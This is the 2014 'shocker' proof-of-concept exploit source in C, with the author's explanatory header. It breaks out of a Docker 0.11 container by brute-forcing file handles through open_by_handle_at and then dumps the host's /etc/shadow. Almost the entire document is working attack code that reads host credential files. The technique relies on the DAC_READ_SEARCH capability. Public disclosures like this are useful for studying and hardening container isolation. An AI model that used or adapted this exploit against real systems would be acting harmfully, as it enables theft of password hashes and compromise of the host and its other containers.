docker 0.11 VMM-container Breakout
2014-06-18 22:05:02/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
*
* Demonstrates that any given docker image someone is asking
* you to run in your docker setup can access ANY file on your host,
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising
* security of the host and any other docker VM's on it.
*
* docker using container based VMM: Sebarate pid and net namespace,
* stripped caps and RO bind mounts into container's /. However
* as its only a bind-mount the fs struct from the task is shared
* with the host which allows to open files by file handles
* (open_by_handle_at()). As we thankfully have dac_override and
* dac_read_search we can do this. The handle is usually a 64bit
* string with 32bit inodenumber inside (tested with ext4).
* Inode of / is always 2, so we have a starting point to walk
* the FS path and brute force the remaining 32bit until we find the
* desired file (It's probably easier, depending on the fhandle export
* function used for the FS in question: it could be a parent inode# or
* the inode generation which can be obtained via an ioctl).
* [In practise the remaining 32bit are all 0 :]
*
* tested with docker 0.11 busybox demo image on a 3.11 kernel:
*
* docker run -i busybox sh
*
* seems to run any program inside VMM with UID 0 (some caps stripped); if
* user argument is given, the provided docker image still
* could contain +s binaries, just as demo busybox image does.
*
* PS: You should also seccomp kexec() syscall :)
* PPS: Might affect other container based compartments too
*
* $ cc -Wall -std=c99 -O2 shocker.c -static
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main()
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2); close(fd1);
return 0;
}
Fixes
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